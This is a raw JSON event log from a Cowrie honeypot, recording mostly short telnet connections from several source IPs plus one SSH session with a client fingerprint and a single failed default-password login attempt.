{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42752,"dst_ip":"159.203.135.109","dst_port":23,"session":"59e4e2aa2a2c","protocol":"telnet","message":"New connection: 147.135.136.77:42752 (159.203.135.109:23) [session: 59e4e2aa2a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.409561Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42756,"dst_ip":"159.203.135.109","dst_port":23,"session":"7727c4f6bb2c","protocol":"telnet","message":"New connection: 147.135.136.77:42756 (159.203.135.109:23) [session: 7727c4f6bb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.470293Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48150,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d55c6d65686","protocol":"telnet","message":"New connection: 51.79.21.139:48150 (159.203.135.109:23) [session: 3d55c6d65686]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.487226Z"}
{"eventid":"cowrie.session.closed","duration":31.06677222251892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.498132Z","src_ip":"168.119.91.149","session":"cf63f30925c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48166,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2dc58b8a03b","protocol":"telnet","message":"New connection: 51.79.21.139:48166 (159.203.135.109:23) [session: b2dc58b8a03b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.983112Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56320,"dst_ip":"159.203.135.109","dst_port":23,"session":"a201e94d87f5","protocol":"telnet","message":"New connection: 81.30.157.18:56320 (159.203.135.109:23) [session: a201e94d87f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:18.998267Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56324,"dst_ip":"159.203.135.109","dst_port":23,"session":"e3687fb77054","protocol":"telnet","message":"New connection: 81.30.157.18:56324 (159.203.135.109:23) [session: e3687fb77054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.018870Z"}
{"eventid":"cowrie.session.closed","duration":31.48887610435486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.058217Z","src_ip":"147.135.136.77","session":"fa1085a4b13a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.012576818466187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.064062Z","src_ip":"51.79.21.139","session":"d5c9e4a43bf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":50790,"dst_ip":"159.203.135.109","dst_port":23,"session":"e454dec061c4","protocol":"telnet","message":"New connection: 85.208.100.77:50790 (159.203.135.109:23) [session: e454dec061c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.267689Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42766,"dst_ip":"159.203.135.109","dst_port":23,"session":"6969754c836d","protocol":"telnet","message":"New connection: 147.135.136.77:42766 (159.203.135.109:23) [session: 6969754c836d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.412596Z"}
{"eventid":"cowrie.session.closed","duration":30.59041142463684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.508334Z","src_ip":"168.119.91.149","session":"efab1345e349","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5a3d8919b76","protocol":"telnet","message":"New connection: 168.119.91.149:42512 (159.203.135.109:23) [session: e5a3d8919b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.741040Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42524,"dst_ip":"159.203.135.109","dst_port":23,"session":"a73499cd81ea","protocol":"telnet","message":"New connection: 168.119.91.149:42524 (159.203.135.109:23) [session: a73499cd81ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.898242Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48174,"dst_ip":"159.203.135.109","dst_port":23,"session":"74d5f9a72f12","protocol":"telnet","message":"New connection: 51.79.21.139:48174 (159.203.135.109:23) [session: 74d5f9a72f12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:19.997043Z"}
{"eventid":"cowrie.session.closed","duration":30.786681175231934,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.013557Z","src_ip":"51.79.21.139","session":"4eecf19b51fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.952778100967407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.094405Z","src_ip":"147.135.136.77","session":"cd879590a4c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.389387845993042,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.104096Z","src_ip":"147.135.136.77","session":"c2a2caba6361","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42778,"dst_ip":"159.203.135.109","dst_port":23,"session":"b524b02ce2e5","protocol":"telnet","message":"New connection: 147.135.136.77:42778 (159.203.135.109:23) [session: b524b02ce2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.333288Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42784,"dst_ip":"159.203.135.109","dst_port":23,"session":"94994136f8bb","protocol":"telnet","message":"New connection: 147.135.136.77:42784 (159.203.135.109:23) [session: 94994136f8bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.375443Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48188,"dst_ip":"159.203.135.109","dst_port":23,"session":"eeefd186fc74","protocol":"telnet","message":"New connection: 51.79.21.139:48188 (159.203.135.109:23) [session: eeefd186fc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:20.860177Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48190,"dst_ip":"159.203.135.109","dst_port":23,"session":"dab1d8d93516","protocol":"telnet","message":"New connection: 51.79.21.139:48190 (159.203.135.109:23) [session: dab1d8d93516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.042031Z"}
{"eventid":"cowrie.session.closed","duration":30.13421320915222,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.046960Z","src_ip":"147.135.136.77","session":"597d8d2fda0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48194,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0789a59efa","protocol":"telnet","message":"New connection: 51.79.21.139:48194 (159.203.135.109:23) [session: 3b0789a59efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.057775Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":33328,"dst_ip":"159.203.135.109","dst_port":23,"session":"8210047f6b14","protocol":"telnet","message":"New connection: 37.187.24.227:33328 (159.203.135.109:23) [session: 8210047f6b14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.187872Z"}
{"eventid":"cowrie.session.closed","duration":30.637171745300293,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.194011Z","src_ip":"51.79.21.139","session":"fe7cbacb09a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44574785232544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.198932Z","src_ip":"81.30.157.18","session":"a83128c046a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42792,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a318ad29bba","protocol":"telnet","message":"New connection: 147.135.136.77:42792 (159.203.135.109:23) [session: 0a318ad29bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.258254Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42812,"dst_ip":"159.203.135.109","dst_port":23,"session":"05a350856585","protocol":"telnet","message":"New connection: 147.135.136.77:42812 (159.203.135.109:23) [session: 05a350856585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.406784Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42534,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb9f6ea816ba","protocol":"telnet","message":"New connection: 168.119.91.149:42534 (159.203.135.109:23) [session: cb9f6ea816ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:21.752641Z"}
{"eventid":"cowrie.session.closed","duration":30.69074821472168,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.019857Z","src_ip":"51.79.21.139","session":"e6de0fe8bbf7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33859348297119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.047327Z","src_ip":"147.135.136.77","session":"3a404bbacce6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":35572,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a1e8beaf1e0","protocol":"telnet","message":"New connection: 37.187.24.227:35572 (159.203.135.109:23) [session: 3a1e8beaf1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.067728Z"}
{"eventid":"cowrie.session.closed","duration":30.849180459976196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.078583Z","src_ip":"147.135.136.77","session":"57ea9e2ad57b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48204,"dst_ip":"159.203.135.109","dst_port":23,"session":"702588855e99","protocol":"telnet","message":"New connection: 51.79.21.139:48204 (159.203.135.109:23) [session: 702588855e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.110512Z"}
{"eventid":"cowrie.session.closed","duration":30.783487796783447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.123996Z","src_ip":"147.135.136.77","session":"bf019499b701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.193934440612793,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.129933Z","src_ip":"147.135.136.77","session":"08f73c5fa202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.990965604782104,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.197692Z","src_ip":"147.135.136.77","session":"10983f0693ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.283819437026978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.225308Z","src_ip":"147.135.136.77","session":"e089fc40e3a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42796,"dst_ip":"159.203.135.109","dst_port":23,"session":"2314df9d65ac","protocol":"telnet","message":"New connection: 147.135.136.77:42796 (159.203.135.109:23) [session: 2314df9d65ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.316413Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56326,"dst_ip":"159.203.135.109","dst_port":23,"session":"b987d381c7f4","protocol":"telnet","message":"New connection: 81.30.157.18:56326 (159.203.135.109:23) [session: b987d381c7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.336788Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":56334,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ceaf41f854c","protocol":"telnet","message":"New connection: 81.30.157.18:56334 (159.203.135.109:23) [session: 3ceaf41f854c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.418512Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42824,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bf8a04985cb","protocol":"telnet","message":"New connection: 147.135.136.77:42824 (159.203.135.109:23) [session: 6bf8a04985cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.466024Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42832,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc0d62d46751","protocol":"telnet","message":"New connection: 147.135.136.77:42832 (159.203.135.109:23) [session: bc0d62d46751]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:22.983847Z"}
{"eventid":"cowrie.session.closed","duration":31.003581523895264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.053286Z","src_ip":"51.79.21.139","session":"13b43a8930db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830064296722412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.057906Z","src_ip":"147.135.136.77","session":"d3a0e667f91b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.236457347869873,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.075610Z","src_ip":"51.79.21.139","session":"5c6e23ed85d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824530601501465,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.110149Z","src_ip":"147.135.136.77","session":"184fe4490d51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":48216,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d849f723d64","protocol":"telnet","message":"New connection: 51.79.21.139:48216 (159.203.135.109:23) [session: 7d849f723d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.118066Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42844,"dst_ip":"159.203.135.109","dst_port":23,"session":"f861ae4e6237","protocol":"telnet","message":"New connection: 147.135.136.77:42844 (159.203.135.109:23) [session: f861ae4e6237]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.188536Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":57644,"dst_ip":"10.17.0.5","dst_port":22,"session":"149c04ed8565","protocol":"ssh","message":"New connection: 103.228.69.212:57644 (10.17.0.5:22) [session: 149c04ed8565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.215636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.220639Z","src_ip":"103.228.69.212","session":"149c04ed8565","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.313966751098633,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.244878Z","src_ip":"147.135.136.77","session":"c5fae7778c82","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42854,"dst_ip":"159.203.135.109","dst_port":23,"session":"00544733ae9e","protocol":"telnet","message":"New connection: 147.135.136.77:42854 (159.203.135.109:23) [session: 00544733ae9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.433717Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.455489Z","src_ip":"103.228.69.212","session":"149c04ed8565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42546,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c3a47962982","protocol":"telnet","message":"New connection: 168.119.91.149:42546 (159.203.135.109:23) [session: 7c3a47962982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.519450Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42562,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4ea7fa0b71","protocol":"telnet","message":"New connection: 168.119.91.149:42562 (159.203.135.109:23) [session: ba4ea7fa0b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.523637Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42566,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d081229816d","protocol":"telnet","message":"New connection: 168.119.91.149:42566 (159.203.135.109:23) [session: 4d081229816d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.697151Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae76005a8dc5","protocol":"telnet","message":"New connection: 168.119.91.149:42568 (159.203.135.109:23) [session: ae76005a8dc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:23.804914Z"}
{"eventid":"cowrie.session.closed","duration":30.507954120635986,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.052913Z","src_ip":"147.135.136.77","session":"1b1747a0a8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35084,"dst_ip":"159.203.135.109","dst_port":23,"session":"e357d6de78ef","protocol":"telnet","message":"New connection: 51.79.21.139:35084 (159.203.135.109:23) [session: e357d6de78ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.114812Z"}
{"eventid":"cowrie.session.closed","duration":31.072479009628296,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.129418Z","src_ip":"51.79.21.139","session":"41607859d2eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35098,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a0309b8e406","protocol":"telnet","message":"New connection: 51.79.21.139:35098 (159.203.135.109:23) [session: 6a0309b8e406]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.138379Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42870,"dst_ip":"159.203.135.109","dst_port":23,"session":"517c615fd67e","protocol":"telnet","message":"New connection: 147.135.136.77:42870 (159.203.135.109:23) [session: 517c615fd67e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.334851Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42866,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3f330ead8e0","protocol":"telnet","message":"New connection: 147.135.136.77:42866 (159.203.135.109:23) [session: b3f330ead8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.340152Z"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"123456789","message":"login attempt [sftp/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.454198Z","src_ip":"103.228.69.212","session":"149c04ed8565","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":42572,"dst_ip":"159.203.135.109","dst_port":23,"session":"02e5abfb1155","protocol":"telnet","message":"New connection: 168.119.91.149:42572 (159.203.135.109:23) [session: 02e5abfb1155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:24.661969Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":41792,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9356771580b","protocol":"telnet","message":"New connection: 37.187.24.227:41792 (159.203.135.109:23) [session: b9356771580b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.043343Z"}
{"eventid":"cowrie.session.closed","duration":30.728419065475464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.065047Z","src_ip":"147.135.136.77","session":"345b68055caf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":35100,"dst_ip":"159.203.135.109","dst_port":23,"session":"48463bc9ff1b","protocol":"telnet","message":"New connection: 51.79.21.139:35100 (159.203.135.109:23) [session: 48463bc9ff1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.101065Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42856,"dst_ip":"159.203.135.109","dst_port":23,"session":"899a8af33746","protocol":"telnet","message":"New connection: 147.135.136.77:42856 (159.203.135.109:23) [session: 899a8af33746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.162342Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":43752,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c9baf938ef8","protocol":"telnet","message":"New connection: 46.101.32.143:43752 (159.203.135.109:23) [session: 5c9baf938ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.257100Z"}
{"eventid":"cowrie.session.closed","duration":30.674501419067383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.336701Z","src_ip":"37.187.24.227","session":"f878f94dcb44","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":42886,"dst_ip":"159.203.135.109","dst_port":23,"session":"074467905369","protocol":"telnet","message":"New connection: 147.135.136.77:42886 (159.203.135.109:23) [session: 074467905369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:54:25.453889Z"}
